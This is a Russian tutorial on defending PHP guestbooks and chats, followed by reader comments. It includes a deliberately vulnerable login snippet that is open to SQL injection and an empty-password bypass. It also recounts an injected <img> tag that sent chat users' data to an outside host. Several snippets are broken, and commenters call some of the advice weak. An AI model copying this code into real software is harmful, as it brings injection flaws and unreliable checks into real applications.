Безопасное программирование
Данная статья не претендует на роль всеобъемлющего руководства на тему "как сделать так, чтобы меня никто не поломал". Так не бывает. Единственная цель этой статьи - показать некоторые используемые мной приемы для защиты веб-приложений типа WWW-чатов, гостевых книг, веб-форумов и других приложений подобного рода. Итак, давайте рассмотрим некоторые приемы программирования на примере некоей гостевой книги, написанной на PHP.
Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение, должно стать "Никогда не верь данным, присылаемым тебе пользователем". Пользователи - это по определению такие злобные хакеры, которые только и ищут момента, как бы напихать в формы ввода всякую дрянь типа PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому подобных ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать все данные, присланные пользователем.
Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail и само по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода чем-нибудь вроде:
<input type=text name=username maxlength=20>
На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов. А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода и подправить параметр maxlength, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER:
<?$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com)) {
echo "hacker? he-he...n";exit;
}
?>
Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com, хацкеру будет выдано деморализующее сообщение. На самом деле, и это тоже не может служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа. В конце концов, переменная HTTP_REFERER формируется браузером, и никто не может помешать хакеру подправить код браузера, или просто зайти телнетом на 80-ый порт и сформировать свой запрос. Так что подобная защита годится только от Ну Совсем Необразованных хакеров. Впрочем, по моим наблюдениям, около 80% процентов злоумышленников на этом этапе останавливаются и дальше не лезут - то ли IQ не позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, и вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного - а береженого Бог бережет.
Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не будем доверять переменной maxlength в формах ввода и ручками порежем строку:
$username=substr($username,0,20);
Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения:
if (empty($username)) {
echo "invalid username";
exit;
}
Запретим пользователю использовать в своем имени любые символы, кроме букв русского и латинского алфавита, знака "_" (подчерк), пробела и цифр:
if (preg_match("/[^(w)|(x7F-xFF)|(s)]/",$username)) {
echo "invalid username";
exit;
}
Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие паттерна в строке или поменять один паттерн на другой, использовать Перл-совместимые регулярные выражения (Perl-compatible Regular Expressions). То же самое можно делать и используя стандартные PHP-шные ereg() и eregi(). Я не буду приводить здесь эти примеры - это достаточно подробно описано в мануале.
Для поля ввода адреса e-mail добавим в список разрешенных символов знаки "@" и ".", иначе пользователь не сможет корректно ввести адрес. Зато уберем русские буквы и пробел:
if (preg_match("/[^(w)|(@)|(.)]/",$usermail)) {
echo "invalid mail";
exit;
}
Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки препинания, которые можно использовать, попросту лень, поэтому ограничимся использованием функций nl2br() и htmlspecialchars() - это не даст врагу понатыкать в текст сообщения html-тегов. Некоторые разработчики, наверное, скажут: "а мы все-таки очень хотим, чтобы пользователи _могли_ вставлять теги". Если сильно неймется - можно сделать некие тэгозаменители, типа "текст, окруженный звездочками, будет высвечен bold'ом.". Но никогда не следует разрешать пользователям использование тегов, подразумевающих подключение внешних ресурсов - от тривиального <img> до супернавороченного <bgsound>.
Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Учитывая еще пару особенностей строения чата, через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех присутствовавших в этот момент на чате пользователей. Как? Да очень просто - чату был послан тег <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей, сидевших под lynx'ом :-) ). А скрипт, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя. С вышеупомянутым результатом.
Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к Вам на книгу или в чат, зная, что их IP может стать известным первому встречному хакеру. Да и не только IP - возможности javascript'a я перечислять не буду :-)
Для примитивной гостевой книги перечисленных средств хватит, чтобы сделать ее более-менее сложной для взлома. Однако для удобства, книги обычно содержат некоторые возможности для модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому (или не очень) кругу лиц. Посмотрим, что можно сделать здесь.
Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком сообщений, где можно отмечать подлежащие удалению сообщения, и непосредственно скрипта, удаляющего сообщения. Назовем их соответственно admin1.php и admin2.php.
Простейший и надежнейший способ аутентикации пользователя - размещение скриптов в директории, защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, а web-сервер. Что несколько сложнее и уж, во всяком случае, не укладывается в рамки темы этой статьи. Однако не всегда этот способ пригоден к употреблению - иногда бывает надо проводить авторизацию средствами самого приложения.
Первый, самый простой способ - авторизация средствами HTTP - через код 401. При виде такого кода возврата, любой нормальный браузер высветит окошко авторизации и попросит ввести логин и пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу текущие для данного realm'а логин и пароль, и только в случае неудачи потребует повторной авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях и мануалах:
if (!isset($PHP_AUTH_USER)) {
Header("WWW-Authenticate: Basic realm="My Realm"");
Header("HTTP/1.0 401 Unauthorized");
exit;
}
Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные $PHP_AUTH_USER и PHP_AUTH_PW, в которых соответственно будут лежать имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:
*** Внимание!!!***В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесь найти ее самостоятельно.
$sql_statement="select password from peoples
where name='$PHP_AUTH_USER'";
$result = mysql($dbname, $sql_statement);
$rpassword = mysql_result($result,0,'password');
$sql_statement = "select password('$PHP_AUTH_PW')";
$result = mysql($dbname, $sql_statement);
$password = mysql_result($result,0);
if ($password != $rpassword) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm="My Realm"");
exit;
}
Упомянутая ошибка, между прочим, очень распространена среди начинающих и невнимательных программистов. Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не принесло, не считая оставленных хакером в новостной ленте нескольких нецензурных фраз.
Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password(), так же, впрочем, как и стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется и взломщик получает доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на мой взгляд, более правильный путь - вставкой следующего фрагмента кода:
if (mysql_numrows($result) != 1) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm="My Realm"");
exit;
}
То есть - проверкой наличия одного и только одного пользователя в базе. Ни больше, ни меньше.
Точно такую же проверку на авторизацию стоит встроить и в скрипт admin2.php. По идее, если пользователь хороший человек - то он приходит к admin2.php через admin1.php, а значит, уже является авторизованным и никаких повторных вопросов ему не будет - браузер втихомолку передаст пароль. Если же нет - ну, тогда и поругаться не грех. Скажем, вывести ту же фразу "hacker? he-he...".
К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401 и приходится выполнять ее только средствами приложения. В общем случае модель такой авторизации будет следующей:
Пользователь один раз авторизуется при помощи веб-формы и скрипта, который проверяет правильность имени и пароля.
Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт авторизованности пользователя.
Такая модель называется сессионной - после прохождения авторизации открывается так называемая "сессия", в течение которой пользователь имеет доступ к защищенной части системы. Сессия закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов: пользователь может получить доступ к чату только после того, как пройдет процедуру входа. Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался. Рассмотрим несколько вариантов, как это можно сделать:
- После авторизации все скрипты защищенной части вызываются с неким флажком вида adminmode=1. (Не надо смеяться - я сам такое видел). Ясно, что любой, кому известен флажок adminmode, может сам сформировать URL и зайти в режиме администрирования. Кроме того - нет возможности отличить одного пользователя от другого.
- Скрипт авторизации может каким-нибудь образом передать имя пользователя другим скриптам. Распространено во многих www-чатах - для того, чтобы отличить, где чье сообщение идет, рядом с формой типа text для ввода сообщения, пристраивается форма типа hidden, где указывается имя пользователя. Тоже ненадежно, потому что хакер может скачать документ с формой к себе на диск и поменять значение формы hidden. Некоторую пользу здесь может принести вышеупомянутая проверка HTTP_REFERER - но, как я уже говорил, никаких гарантий она не дает.
- Определение пользователя по IP-адресу. В этом случае, после прохождения авторизации, где-нибудь в локальной базе данных (sql, dbm, да хоть в txt-файле) сохраняется текущий IP пользователя, а все скрипты защищенной части смотрят в переменную REMOTE_ADDR и проверяют, есть ли такой адрес в базе. Если есть - значит, авторизация была, если нет - "hacker? he-he..." :-)Это более надежный способ - не пройти авторизацию и получить доступ удастся лишь в том случае, если с того же IP сидит другой пользователь, успешно авторизовавшийся. Однако, учитывая распространенность прокси-серверов и IP-Masquerad'инга - это вполне реально.
- Единственным, известным мне простым и достаточно надежным способом верификации личности пользователя является авторизация при помощи random uid. Рассмотрим ее более подробно.
После авторизации пользователя скрипт, проведший авторизацию, генерирует достаточно длинное случайное число:
mt_srand((double)microtime()*1000000); $uid=mt_rand(1,1000000);Это число он:а) заносит в локальный список авторизовавшихся пользователей;б) Выдает пользователю.
Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список сообщений в гостевой книге), отправляет серверу свой uid. При этом в документе с формами ввода будет присутствовать, наряду с другими формами, тег вида:
<input type=hidden name=uid value=1234567890>
Форма uid невидима для пользователя, но она передается скрипту защищенной части приложения. Тот сличает переданный ему uid с uid'ом, хранящимся в локальной базе и либо выполняет свою функцию, либо... "hacker? he- he...".
Единственное, что необходимо сделать при такой организации - периодически чистить локальный список uid'ов и/ или сделать для пользователя кнопку "выход", при нажатии на которую локальный uid пользователя сотрется из базы на сервере - сессия закрыта.
Некоторые программисты используют в качестве uid не "одноразовое" динамически генерирующееся число, а пароль пользователя. Это допустимо, но это является "дурным тоном", поскольку пароль пользователя обычно не меняется от сессии к сессии, а значит - хакер сможет сам открывать сессии. Та же самая модель может быть использована везде, где требуется идентификация пользователя - в чатах, веб-конференциях, электронных магазинах.
В заключение стоит упомянуть и о такой полезной вещи, как ведение логов. Если в каждую из описанных процедур встроить возможность занесения события в лог-файл с указанием IP-адреса потенциального злоумышленника - то в случае реальной атаки вычислить хакера будет гораздо проще, поскольку хакеры обычно пробуют последовательно усложняющиеся атаки. Для определения IP-адреса желательно использовать не только стандартную переменную REMOTE_ADDR, но и менее известную HTTP_X_FORWARDED_FOR, которая позволяет определить IP пользователя, находящегося за прокси-сервером. Естественно - если прокси это позволяет.
При ведении лог-файлов, необходимо помнить, что доступ к ним должен быть только у Вас. Лучше всего, если они будут расположены за пределами дерева каталогов, доступного через WWW. Если нет такой возможности - создайте отдельный каталог для лог-файлов и закройте туда доступ при помощи .htaccess (Deny from all).
Я буду очень признателен, если кто-нибудь из программистов своими не описанными здесь методами обеспечения безопасности при разработке приложений для Web.
Оставить комментарий
Комментарии
По некоторым причинам авторизация по типу 401 мне не подходит - остается вариант авторизации формами. Далее, после проверки логина/пароля, если все в порядке, генерируется код сессии. Код этот одноразовый и имеет таймаут 7 минут. При каждом последующем обращении к серверу, скрипт первым делом сверяет код сессии. Если код невалидный, то запрашивается авторизация. Если валидный, то формируется ответ на запрос, в т.ч. генерируется НОВЫЙ КОД СЕССИИ, который передается в форме как "hidden". Таким образоми имеем:
1) Если пользователь обновил страничку вручную, то, фактически серверу повторно отправляется предидущий код сессии (методом POST), который уже НЕ ВАЛИДЕН, следовательно запрашивается авторизация.
2) Если кто-то утащил код сессии (из памяти браузера, или прослушивая канал), то пользователь очень скоро об этом узнает (в пределах 7-ми минут).
3) Если кто-то зашел на сайт параллельно с пользователем под его логином/паролем, то, пользователь тоже об этом сразу узнает, так-как его сессия сразу же станет невалидной.
4) И только если каждый раз пользователь передает серверу валидный ОДНОРАЗОВЫЙ код сессии он может нормально работать с сайтом, НИЧЕГО НЕ ЗАМЕЧАЯ при этом. Фактчиески, сессией в данном случае считается не время от момента авторизации до моменты выхода, а время от запроса до запроса, которое, при бездействии пользователя не превышает 7 минут. Например авторизовался и отошел по делу - не позже чем через 7 минут сессия будет завершена в двустороннем порядке, активно в браузере, пассивно на сервере (при запросе проверяется, в т.ч. и таймаут сессии, который известен только серверу!).
5) Кроме того, для прикола, на страничке повешен небольшой Java-Script, который отсчитывает таймаут 7 минут БЕЗДЕЙСТВИЯ, после чего автоматом закрывает сессию (вызывая событие LogOut). При любом действии пользователя таймер таймаута обнуляется...
Т.к. сайт подразумевает интенсивную работу пользователя, то подобный алгоритм как нельзя лучше подходит для достаточно простой но надежной защиты данных, а именно благодаря срабатыванию вышеуказанных 5 пунктов.
P.S.: вот немного подумал, и понял, что есть одна проблема в этом алгоритме - при обнулении таймаута (при действиях пользователя) сервер об этом ничего не знает. надо будет предусмотреть механизм обновления кода сессии, например через IFrame и JavaScript. Займусь этим сегодня же.
P.P.S.: вопросы и предложения шлите на мыло redliw@narod.ru или по аське 226000271
Оба решения не очень... что с хиден что с сессией.
Обычно используются еще и куки (там где есть сессии), для того чтобы пользователь не набирал каждый раз пароль... (удобства инт-са).
А так как куки можно подделать.... Реального варианта защиты - тут не предложено.
поля hidden - легко подделать, достаточно посмотреть <html> код страницы...
С сессией не много труднее - но некотоые все равно смогут это сделать.
session_start();
$_SESSION['adminmode'] = true;
и в дальнейшем во всех защищенных скриптах делать это:
if (!$_SESSION['adminmode']) {
header("Info: hacker? he-he... Fuck hackers!!!"); // Это не обязательно, но... можно.
header("Location: login.php");
exit(); // После переадресации больше делать нечего.
}
зачем это все с <input type="hidden"...>??? Ведь никакой хакер не может залезть в сессию и изменить параметр adminmode. Но хакер, однако, может украсть рефу с PHPSESSID или sid. Но это совсем уже другая история.
пользуясь случаем хочу передать приветы:
Мама, папа, привет!
1. по поводу HTTP_REFERER. Описанная в статье проверка фактически никакой защиты не дает (легко подставить свое значение в эту переменную). НО эта проверка может сделать сайт недоступным для "хороших" пользователей. Во первых, стандарт не обязывает браузер передавать значение этой переменной. Во вторых, разные браузеры по разному относятся к HTTP_REFERER'у, и бывают глюки с его формированием (некоторые "альтернативные" браузеры даже после долгого нахождения на сайте (загрузки нескольких страниц) передают в этой переменной адрес сайта, с которого пришли). В третьих, многеи фаирволы попросту блокируют передачу этого поля, или подставляют туда что-нибудь типа "Not your business!".
2. в приведенном коде проверки $PHP_AUTH_USER и $PHP_AUTH_PW допущена еще одна грубая ошибка: в коде существует возможность осуществления атаки типа "SQL Injection", то есть вставки своего кода в sql-запрос. Не забывайте, что переменные $PHP_AUTH_USER и $PHP_AUTH_PW тоже поступают из браузера и, следовательно, можно передать скрипту вредоносный sql-код, и этот код выполнится (например, можно удалить всех пользователей из таблицы, и т.д.).
Золотое правило: все данные, полученные со стороны клиента, потенциально опасны, и обязательно необходимо эти данные фильтровать и преобразовывать к безопасному виду. Например, если пользователь должен ввести возраст, то перед подстановкой значения в sql или передачей в другие функции необходимо проверить, что действительно передано число (например, используя is_numeric или регулярные выражения), для строк не забывать про addslashes() или mysql_escape_string().
В данной статье есть и другие ошибки и неточности. По поводу сессий и изобретения велосипеда - наверное статья была написана во времена php3, когда сессии еще не были встроены в пхп.
Вот так, автор хотел показать безопасное программирование, а показал методы опасного. Совет начинающим программистам: относитесь к подобным статьям с некоторым недоверием, больше уделяйте внимания книгам серьезных авторов (к примеру, Дмитрия Котерова, ...), и официальную документацию.
session_start() и дальше...
да и сильно разницы не видно между:
<?$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com")) {
echo "hacker? he-he...n";exit;
}
?>
и приведённым автором:
<?$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com")) {
echo "hacker? he-he...n";exit;
}
?>
и + ко всему при таком синтаксисе результат :
Wrong parameter count for ereg()
а в целом спасибо всем, кто занимается данным проэктом!
подчерпнул много полезной информации
А что будет, если поставить
<?$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com")) {
echo "hacker? he-he...n";exit;
}
?>
на главную страницу, и запустить сайт?
В $referer ничего не запишется и обработчик выдаст hacker? he-he...n
Поэтому ещё надо хотя бы проверить, есть что-нибудь в $referer или нет...
if (!ereg('^http://www.myserver.com', getenv('HTTP_REFERER')))
die('Ошибка.');
<?$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com")) {
echo "hacker? he-he...n";exit;
}
?>